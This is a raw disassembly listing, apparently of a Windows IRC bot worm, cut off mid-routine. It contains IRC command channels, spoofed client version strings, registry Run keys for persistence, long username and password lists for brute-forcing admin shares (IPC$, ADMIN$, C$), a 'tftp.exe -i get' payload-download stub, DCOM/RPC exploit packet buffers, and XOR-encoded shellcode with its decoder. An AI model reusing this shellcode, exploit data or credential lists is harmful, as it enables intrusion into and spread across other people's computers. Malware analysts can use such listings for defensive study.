sub_40FB4C:loc_410046r ; sub_40FB4C+509o db 32h, 2Eh, 31h dd 392E3431h, 322E30h dword_42FD34 dd 72617023h, 73696461h, 65haTroopers_0 db 'troopers',0 ; DATA XREF: sub_40FB4C+52Do align 4 byte_42FD4C db 65h ; DATA XREF: sub_401141+63o ; sub_401141+18Bo ... db 71h, 63h, 79h dd 33666C6Eh, 78652E32h, 65h dword_42FD5C dd 2E79656Bh, 747874haNetworkHostSer db 'Network Host Service',0 ; DATA XREF: sub_40214F+Bo align 4 aSoul db '[SOUL]',0 ; DATA XREF: sub_410DF8+12o align 4 aSysconfig_dat db 'sysconfig.dat',0 align 4 aIx db '+ix',0 ; DATA XREF: sub_409848+62CCo aMurders db '#murders',0 ; DATA XREF: sub_409848+4591o ; sub_409848+5FC7o align 4 aHell_0 db '#hell',0 ; DATA XREF: sub_409848+1DCDo align 4 aSniffing db '#sniffing',0 ; DATA XREF: sub_409848+1C08o align 4 off_42FDB8 dd offset a@celestial_org ; DATA XREF: sub_409848+61CBr ; "*@celestial.org" align 10h off_42FDC0 dd offset aMircV6_12Khale ; DATA XREF: sub_409848+926r ; "mIRC v6.12 Khaled Mardam-Bey" dd offset aMircV6_03Khale ; "mIRC v6.03 Khaled Mardam-Bey" dd offset aBitchx74p2ByPa ; "BitchX-74p2+ by panasync - CYGWIN32/95 "... dd offset a__Argon1gBitch ; "..(argon/1g) :bitchx-75 : Keep it to yo"... dd offset aBitchx70alpha1 ; "BitchX-70alpha14+tcl by panasync - Linu"... dd offset aBitchx1_0c19By ; "BitchX-1.0c19+ by panasync - FreeBSD 4."... dd offset aBitchx74p21_3f ; "BitchX-74p2+1.3f/SunOS 5.6 :(c)rackrock"... dd offset aBitchx1_0c18By ; "BitchX-1.0c18+ by panasync - IRIX 6.5.1"... dd offset aBx_75p1Linux2_ ; "[bx.75p1] linux 2.0.36 [embryonic.22b3]"... dd offset aIrciiEpic4pr_0 ; "ircII EPIC4pre2 Linux 2.0.34 - Accept n"... dd offset aIrciiEpic4pre2 ; "ircII EPIC4pre2 SunOS 5.6 - cypher(beta"... dd offset aIrcii2_9Bitchx ; "ircII 2.9-BitchX-60 Linux 1.2.8 :bitZ%s"... dd offset aIrcii2_8_2Suno ; "ircII 2.8.2 SunOS 5.6 :ircii 2.8: almos"... dd offset aIrcii2_9_baseO ; "ircII 2.9_base OSF1 V4.0 :ircii 2.8: al"... dd offset aXchat1_8_10Lin ; "xchat 1.8.10 Linux 2.4.25p1mp [i686/501"... dd offset aIrcn7_277_0Eve ; "ircN 7.27 + 7.0 - everyone i know goes "... dd offset aIrssiV0_8_4Run ; "irssi v0.8.4 - running on Linux i686" dd offset aMirc32V5_71K_m ; "mIRC32 v5.71 K.Mardam-Bey" dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey" dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey" dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey" dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey" dd offset aMircV5_71K_mar ; "mIRC v5.71 K.Mardam-Bey" dd offset aMircV5_82K_mar ; "mIRC v5.82 K.Mardam-Bey" dd offset aMircV6_01K_mar ; "mIRC v6.01 K.Mardam-Bey" dd offset aMircV6_03K_mar ; "mIRC v6.03 K.Mardam-Bey" dd offset aMircV6_1K_mard ; "mIRC v6.1 K.Mardam-Bey" dd offset aMircV6_01K_mar ; "mIRC v6.01 K.Mardam-Bey" dd offset aMircV6_03K_mar ; "mIRC v6.03 K.Mardam-Bey" dd offset aMircV6_10K_mar ; "mIRC v6.10 K.Mardam-Bey" dd offset aMircV6_12K_mar ; "mIRC v6.12 K.Mardam-Bey" dd offset aMircV6_14K_mar ; "mIRC v6.14 K.Mardam-Bey" dd offset aMirc32V1_0K_ma ; "mIRC32 v1.0 K .Mardam-Bey" dd offset aEggdropV1_6_15 ; "eggdrop v1.6.15" dd offset aEggdropV1_6_13 ; "eggdrop v1.6.13" dd offset aStormbot_tcl3_ ; "StormBot.TCL 3.1.beta.2.10 by Xone & Do"... dd offset aCBasedIrcClien ; "C++ based IRC Client by Jumpincow/shaxx"... dd offset aHydraircV0_3_1 ; "HydraIRC v0.3.133-Test (14/March/2004) "... dd offset aWsirc2_03RCopy ; "WSIRC 2.03-R - CopyRight 1994, 1995 Cae"... dd offset aIrcn6_03ForMir ; "ircN 6.03 for mIRC - are we being punis"... dd offset aIrcn7_0rc_67_0 ; "ircN 7.0rc.6 + 7.0rc.5 + 7.0rc.4 for mI"... dd offset aOsiris1cBitchx ; "osiris-1c/bitchx-75p1 + autobot(bx) p3x"... dd offset aXirconB4Doot_3 ; "xircon[b4] + doot.3b[pawt] be-two + ano"... dd offset aAmircAmigaos2_ ; "AmIRC/AmigaOS 2.0.4 by Oliver Wagner <o"... dd offset aQuarterdeckGlo ; "Quarterdeck Global Chat 1.2.9 for Macin"... dd offset aIrcle3_0b10UsP ; "Ircle 3.0b10 US PPC 12/15/1997 21:07:34"... dd offset aEggdrop1_3_24i ; "Eggdrop 1.3.24i (c)1997 Robey Pointer" dd offset aJpilotIrcJavaC ; "JPilot IRC Java Client 2.32" dword_42FE80 dd 312E3238h, 362E3431h, 35322E34h, 31hdword_42FE90 dd 15h aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .text:off_42E4F4o align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_411329+23o ; sub_411650+23o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_411329+D5o ; sub_411650+D5o align 10h off_42FF40 dd offset aAdministrato_0 ; DATA XREF: .text:00416362r ; .text:0041636Ao ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h dword_42FF90 dd 422B02h dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_0 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" off_43005C dd offset aHomeuser ; DATA XREF: .text:off_4307A8o ; .text:00430DF0o ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4301C0 dd 10h ; sub_409848+807r ... align 8 dword_4301C8 dd 736E6F63h dd 74h, 0 dword_4301D4 dd 1 off_4301D8 dd offset sub_410DF8 ; DATA XREF: sub_411114+6Cr aLetter db 'letter',0 align 8 dd 2, 410E56h, 706D6F63h, 2 dup(0) dd 3, 410EA3h, 6E756F63h, 797274h, 0 dd 4, 410F12h, 736Fh, 2 dup(0) dd 5, 410F87h dword_43022C dd 1D4C0h off_430230 dd offset aIpc_0 ; DATA XREF: sub_411329:loc_4114DFr ; sub_411329+1C4r ... ; "IPC$" dword_430234 dd 0 dd offset aAdmin_0 ; "ADMIN$" dd 0 dd offset aC_3 ; "C$" dd offset aC_2 ; "C:\\" dd offset aD_3 ; "D$" dd offset aD_2 ; "D:\\" ; --------------------------------------------------------------------------- loc_430250: ; DATA XREF: sub_411FED+C0o jmp short loc_430254 ; --------------------------------------------------------------------------- loc_430252: ; CODE XREF: .text:loc_430254p jmp short loc_430259 ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: .text:loc_430250j call loc_430252 loc_430259: ; CODE XREF: .text:loc_430252j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43025E dw 0FFFFh ; DATA XREF: sub_411FED:loc_4120A0w db 80h, 73h, 0Eh byte_430263 db 0FFh ; DATA XREF: sub_411FED+BAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_430268: ; DATA XREF: sub_411FED+9Co jmp short loc_43026C ; --------------------------------------------------------------------------- loc_43026A: ; CODE XREF: .text:loc_43026Cp jmp short loc_430271 ; --------------------------------------------------------------------------- loc_43026C: ; CODE XREF: .text:loc_430268j call loc_43026A loc_430271: ; CODE XREF: .text:loc_43026Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_430275 db 0FFh ; DATA XREF: sub_411FED+A1w dw 7380h db 0Ch byte_430279 db 0FFh ; DATA XREF: sub_411FED+A7w dw 0E243h dd 0F9h dword_430280 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_411EDA+72o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4302E4 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_411EDA+96o aJ_1 db 'j',0 db 0E8h dword_4302FD dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_430304 retn ; --------------------------------------------------------------------------- byte_430304 db 0E8h ; CODE XREF: .text:00430301j dword_430305 dd 1 byte_430309 db 0, 6Ah, 0 ; DATA XREF: sub_411EDA+ECo dd 7E8h db 0, 0Fh, 84h dword_430313 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 8 loc_430348: ; DATA XREF: sub_413C88:loc_413DA1o mov edi, ecx xor al, al inc al repne scasb jmp edi ; --------------------------------------------------------------------------- align 8 a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_413C88+18Bo db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 dword_4303E0 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; .text:004147B1o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_430430 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_41432A+12Co dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_430794 dd 20h, 0 dd 20h, 5C005Ch, 0 off_4307A8 dd offset off_43005C ; DATA XREF: sub_41432A+177o a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 8 dword_4307E8 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_41432A+4Ao ; sub_41432A+90o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_4308F8 dd 10016C6h dword_4308FC dd 100139Dh ; sub_41432A+115r ; --------------------------------------------------------------------------- loc_430900: ; DATA XREF: .text:0041497Ao call $+5 pop eax xor ax, ax loc_430909: ; CODE XREF: .text:00430910j ; .text:00430919j inc eax cmp dword ptr [eax], 6D6F6364h jnz short loc_430909 cmp dword ptr [eax+4], 72307868h jnz short loc_430909 add eax, 8 jmp eax ; --------------------------------------------------------------------------- aRrrrrrrrrrrr_0 db '' db '' db '' db '',0 align 8 dword_430A28 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset off_43005C a123456111111_0: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0) a127_0_0_1Ipc: unicode 0, <127.0.0.1\IPC$\> ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_430E8C: ; CODE XREF: .text:00431094j inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_43105F: ; CODE XREF: .text:004310C7j inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp jmp loc_430E8C ; --------------------------------------------------------------------------- db 3 dup(45h) ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_4310BD: ; CODE XREF: .text:004310CBj inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp add [esp+edx+54h], cl jl short loc_43105F mov ah, 0A1h ja short loc_4310BD mov eax, ds:0AFA977EDh mov eax, ds:41414177h inc ecx ; --------------------------------------------------------------------------- dd 77FCC662h off_4310DC dd offset dword_480D78 ; DATA XREF: sub_414DED+73r ; .text:00414F92r ... ; --------------------------------------------------------------------------- jmp short loc_4310F2 ; =============== S U B R O U T I N E ======================================= sub_4310E2 proc far ; CODE XREF: sub_4310E2:loc_4310F2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4310EA: ; CODE XREF: sub_4310E2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4310EA jmp short loc_4310F7 ; --------------------------------------------------------------------------- loc_4310F2: ; CODE XREF: .text:004310E0j call near ptr sub_4310E2 loc_4310F7: ; CODE XREF: sub_4310E2+Ej jo short loc_43115B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_431179 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_43115B: ; CODE XREF: sub_4310E2:loc_4310F7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_431179: ; CODE XREF: sub_4310E2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4310E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_431220: ; DATA XREF: sub_4152B5+112o ; sub_4152B5+1D9o jmp short loc_431232 ; =============== S U B R O U T I N E ======================================= sub_431222 proc near ; CODE XREF: 